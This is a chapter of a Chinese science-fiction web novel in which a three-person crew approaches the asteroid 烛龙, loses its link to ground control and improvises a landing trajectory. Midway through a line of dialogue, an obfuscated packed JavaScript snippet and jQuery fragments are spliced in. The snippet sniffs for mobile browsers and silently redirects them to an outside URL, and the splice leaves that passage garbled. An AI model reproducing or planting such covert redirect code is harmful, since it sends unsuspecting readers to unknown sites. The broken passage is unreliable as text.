68. 蝴蝶振翅

作品:《听说我去太空送死了?

    “曙光号”内部,气氛凝重,连阿娜尔都不再说话。


    “主推进器预热完毕。”严砺确认道,“姿态调整完成,随时可以点火。”


    风起坐在主控台前,右手搭在操作杆上,目光扫过屏幕右上角的红色倒计时。


    离第一阶段轨道调整开始,还有不到一分钟。


    “好,锁定航天器姿态。”她沉声说,“等我命令。”


    她的手指握住操作杆,微微用力,又缓缓放开。


    倒计时十秒。


    风起打开通讯:“这里是‘曙光号’,准备点火。”


    耳机中,总指挥的声音传来:“地面确认,一切准备就绪,祝你们一切顺利。”


    风起的手落下。


    轰——


    随着推进器启动,整艘飞船猛地一震。


    安全带骤然绷紧,把他们向后拉向座椅。


    座椅随着船舱剧烈晃动,但风起的手没有离开操作台。


    屏幕上,“曙光号”从原本的轨道上偏离,像是树上长出一根新的枝桠。


    推进器熄火,飞船切换至惯性飞行,第一次点火完美结束。


    风起确认了航天器姿态,汇报道:“这里是‘曙光号’,已进入转移轨道。”


    总指挥回应:“地面收到,你们距离‘烛龙’还有六百公里,预计接近窗口三十分钟。”


    雷达屏幕上,代表“烛龙”的红点每隔几秒推进一格,反射强度也随之不断上升。


    “这个距离……”阿娜尔盯着屏幕,眉头渐渐皱起,“我们是不是……能看见它了?是那个方向?”


    “左前方。我们会从‘烛龙’的右侧接近。”风起回答。


    阿娜尔转头看向左舷的舷窗。


    外面还是一片漆黑的宇宙,什么都没有。


    雷达再次“滴”了一声。


    红点逼近了一格。


    “滴。”


    又一格。


    那声音规律、冰冷,像是某种脚步。


    阿娜尔屏住了呼吸,突然想起了《侏罗纪公园》电影里,霸王龙出现时的场景——


    杯子里的水面晃动,地上的积水荡起一圈圈涟漪……


    沉重的脚步声由远而近。


    咚,咚……


    “滴,滴滴”


    雷达忽然加速连响。


    阿娜尔猛地转头。舷窗外的黑暗中,一抹灰白的轮廓缓缓浮现。


    它不像太阳那般刺眼,也不像地球的柔和。


    它像是一个阴影里的捕食者,从黑暗里缓缓浮现。


    就在几秒内,它迅速脱离黑暗,逐渐变大,显露出狰狞的轮廓。


    阿娜尔用力眨了眨眼,看了一眼面前的雷达屏幕,又看了一眼舷窗外,眼睛逐渐睁大。


    “那是……”她喃喃道。


    “是烛龙。”风起看了一眼,按下通讯:“目标确认,‘烛龙’已进入光学视野。”


    耳机里,总指挥的声音再次响起:


    “收到。‘曙光号’,你们距离‘烛龙’二百公里。‘烛龙’的引力随时可能对你们产生影响。”


    “明白。”风起抬起右手:“准备应对引力干扰。”


    引力探测器的数值开始波动,像是深夜的潮汐。


    潮水一点点漫上“曙光号”,将航天器缓缓包裹,然后猛地一拉。


    咚——


    风起感觉到飞船顿了一下,船体轻轻颤抖。


    屏幕上,姿态警示闪现:


    引力扰动超标,姿态偏离警告!


    “姿态稳定器过载!”阿娜尔几乎是喊出来,“自动修正失败!”


    来了。风起立刻道:“严砺,侧推器!”


    “就绪。”


    “点火。”风起下令。


    几乎同时,严砺按下按钮。


    侧推器在瞬间喷出幽蓝色的火光,抵消着引力拉扯。


    舱体剧烈颤动,仪表震出杂音。


    耳机里,地面的声音紧张:“轨道修正参数正在上传。”


    “‘曙光号’收到。”风起一边确认数据,一边下命令,“阿娜尔,相对速度。严砺,修正姿态。”


    过去几个月的演练,让他们只要一个手势、一句短语,就能明白对方的意思。


    屏幕上,姿态偏差开始回落,一点一点归零,最终红色警示消失。


    耳机中,总指挥再次开口:“‘曙光号’,请维持当前姿态。第二阶段轨道数据即将发送。风起,请做好登陆准备。”


    风起点头:“明白。”


    舷窗外,“烛龙”正缓缓逼近,逐渐占据整个视野。


    阳光下,它那不规则的边缘和表面深色的裂痕清晰可见。


    风起凝视着它,心跳加快了一拍,耳边似乎有人在轻声提醒:


    一旦进入它的怀抱,就没有回头路了。


    风起收回目光。屏幕上,绿色的数据条正在一点点推进。


    数据信号从杜铭的手上,传递到中继卫星,再传递给他们。


    想到这里,风起微微勾起嘴角。


    在一瞬间,地球同步轨道上,中继卫星里的芯片轻轻嗡鸣,炸开一点微弱的火星。


    “曙光号”的进度条停在了最后一格。


    风起立刻按下通讯按钮:“‘曙光号’呼叫地面,轨道数据未完成,请确认重发。”


    耳机里,除了电流杂音,只有静默。


    “通讯信号中断。”阿娜尔飞快敲击面板,“中继卫星没有回应,链路可能受损……风起?”


    风起看向舷窗外。他们正飞越在“烛龙”的晨昏线。


    小行星一半沉入黑暗,一半暴露在阳光中。就像一只巨大的眼睛,透过舷窗,正冷冷地盯着他们。


    引力还在增强,姿态修正需求几秒一跳。


    阿娜尔的声音发颤:“引力越来越大,我们必须不断调整姿态,否则……”


    “否则,我们会被吸过去。”严砺说完,看向风起:“是否加大侧向推力?”


    他们不能坐以待毙。


    可如果他们轻举妄动,地面将无法预判他们的状态。


    而如果地面不能发来新的轨道数据,他们就等于盲降。


    风起的手攥紧。


    “燃料在快速下降,我们等不起了。”严砺说。


    舱内陷入沉默。


    警报再次响起,引力扰动等级升高。


    “拉远。”风起终于开口,“先脱离烛龙的强干扰带,拉出安全距离。”


    严砺却没有动:“然后呢?”


    “然后释放登陆舱。”


    严砺干脆双手离开了终端:“过早释放登陆舱,就是送死。我们必须进入强干扰带。”


    风起语气冷静:“我知道风险,我有把握。”


    “你有个屁把握,你这是送死!”


    “如果强行接近,是带着你们一起送死。”风起往前走了一步,看着严砺的眼睛:“这是命令,严砺。”


    这时,阿娜尔忽然举手:“让我来算。”


    两人都看向她。


    阿娜尔目光坚定:“我在欧洲航天局做过深空模型。我可以算。”


    “我们这台终端算得出来?”严砺怀疑地看着她。


    “没办法精确计算,但我保证能让误差控制在可接受范围。我们只需要接近、接近一点就好。”


    她看向风起:“让我算吧,我们必须把你送进去。”


    “我同意。”严砺举手,“别逼我们两个政变啊,队长。”


    风起盯着他们,终于开口,“如果航天器遇到危险,我命令你们直接脱离,不要管登陆舱。”


    她转身,回到主控台,打开通讯频道:


    “这里是‘曙光号’。”


    “由于通讯中断,我们将自主完成接近与登陆操作。”


    “这里是航天员风起。”


    她停下。


    身后,阿娜尔接上:“航天员阿娜尔。”


    然后是严砺:“航天员严砺。”


    “我们向地面做最后汇报。”


    频道中仍是一片电流噪音,没有人回应。


    风起回头,阿娜尔已经开始计算。


    她和严砺对视一眼,“那就开始吧。”


    同一时间,地面指挥大厅。


    “通讯丢了!”程昊站起身,大喊道,“和‘曙光号’失联!”


    “什么原因?”总指挥的声音陡然提高。


    “一号中继卫星疑似故障。”技术员飞快调取数据,“可能是之前太阳风暴的影响。”


    大屏幕上,代表“曙光号”链路状态的绿色线条突然断裂,变成灰色的虚线。


    “立刻切换备用通道!”总指挥喝道。


    “切了!”程昊死死盯着连接图,“但不行!‘烛龙’正好挡在我们和‘曙光号’之间,现在无法建立连接!”


    空气凝固了。


    信号盲区,怎么偏偏现在进入信号盲区。


    杜铭站起身,“我可以提前算出所有可行的接近轨道!一旦恢复通讯,立刻发送。”


    他双手撑在控制台边缘,语气坚决。


    程昊回头看他,语速飞快:“不行,就算你能算出全部轨道,数据包太大。中继不稳,一旦中断,整个包就废了。”


    “不能一次性赌全部。”总指挥点头,“他们的位置每秒都在变动。差之毫厘,谬以千里。”


    杜铭闭了闭眼,强迫自己冷静下来:“那就发一条,发最可能成功的那一条。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229261|161327||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    程昊喃喃:“但我们……已经不知道他们的位置了。”


    所有人看向大屏幕,那个标注着“曙光号”的小点,已经将近十秒没有更新了。


    “继续尝试重连,希望还来得及。”总指挥下了决定。


    “烛龙”之上,“曙光号”正在一点点切入强干扰带。


    警报从各个系统响起,航天器几乎是海啸中的小渔船,暴雨中的降落伞。


    太空舱里的一切都在剧烈晃动着。


    刚开始接近北极点,引力就骤然变大,航天器的头部猛得向下倾斜。


    “加大推力,不计燃料!”风起命令道。


    严砺咬牙拉动推力杆,“最多撑三十秒!”


    风起锁定操作杆,“严砺,你接手。”


    “阿娜尔,你接手严砺的。”


    “你要做什么?”阿娜尔喊道。


    风起从储物柜里取出舱外航天服。


    “不行!我们还没到北极点!这个位置登陆,你一定会被‘烛龙’甩出去的!”


    风起一层层快速穿上舱外航天服,“不准再往前了!半分钟后,地面会给你们新的安全轨道。”


    “你开玩笑!”严砺咬牙,猛然将推力拉到最大。


    航天器一震,向北极点快速俯冲。


    舷窗外的景象快速倒退。


    风起悚然而惊,“你给我停下!”


    可已经来不及了。


    另一边,阿娜尔离开了控制台,飘到她身旁,帮她拿上舱外航天服的头盔,推着她往登陆舱飘。


    风起一把抓住墙壁上的扶手。


    反了。


    一个两个的都反了。


    阿娜尔摘下手上的玛瑙手串,抓住风起的左手,套在她的手腕上。


    她的眼睛在笑——我阿妈给我的手串,能招好运。


    快去。她的嘴巴在催促。


    航天器还在下坠,越来越快。


    傻子,都是傻子!


    风起的脑子一片空白。


    这就是杜铭看到的坠毁的真相。


    可他们明明提前看见了。


    ——一条是烛龙的轨道,另一条是“曙光号”的轨道。


    ——那个轨道,是撞击轨道。


    风起,做点什么!


    舱内服的胸前口袋里,折好的纸条飘了出来。


    纸条在风起的眼前展开,像白色的蝴蝶,翩翩起舞。


    风起瞳孔骤缩,一把抓住纸片。


    “阿娜尔!现在的轨道数据报给我!”


    “快!”


    二十五秒。


    风起从一旁的物品袋子里抓出一支笔,把白纸按在墙壁上,快速记录。


    第一串数字,是“烛龙”的位置。


    二十秒。


    第二串数字,是“曙光号”的轨道。


    船舱一个颠簸,笔磕在墙壁上,飞出去。


    十五秒。


    风起抓回笔,咬牙继续写。


    蝴蝶扇动翅膀,你能否看到?


    指挥中心里,通讯还没有恢复,“曙光号”的位置仍冻结着。


    总指挥沉声道:“预计十五秒之后,‘曙光号’可能脱离’烛龙‘的阴影。准备重连通讯,杜铭,你也准备一下。”


    十五秒之后,“曙光号”能不能从“烛龙”背面出现。所有人的心里都没有答案。


    屏幕上,无数条轨道数据整装待发。


    杜铭的手握紧,牙齿狠狠咬住嘴唇。


    风起,他用力地想,太阳穴都感到疼痛。求你了,让我看到——


    他的眼前一花,正要眨眼。


    下一秒,他看见了白色的舱外航天服,看见了一双熟悉的手。


    手里是一张写着“DM”的纸条。


    他一眼就认出风起的字,下笔有力的,笔锋锐利的。


    纸条上,一个个数据快速出现。杜铭的瞳孔骤缩。


    这是撞击轨道,熟悉的撞击轨道。


    所幸,这是熟悉的撞击轨道。


    而他已经计算过无数次,如何能够修正。


    他的大脑一片空白,但手指已经动起来。


    旁边,程昊惊讶地看着他的屏幕上,新的数据覆盖了计算好的接近轨道。


    “你怎么?”程昊压低了声音问。


    杜铭看了他一眼,“发这个。”


    十五秒结束,新的轨道数据发出。


    “曙光号”的屏幕上,在剧烈下坠的轨道末端,一道新的曲线扬起。它擦过北极点,通向安全轨道。


    “严砺!”风起大喊。


    “明白!”


    “回来找你们两个算账。”风起一把扣上头盔,留下最后一句话,一脚踏进登陆舱。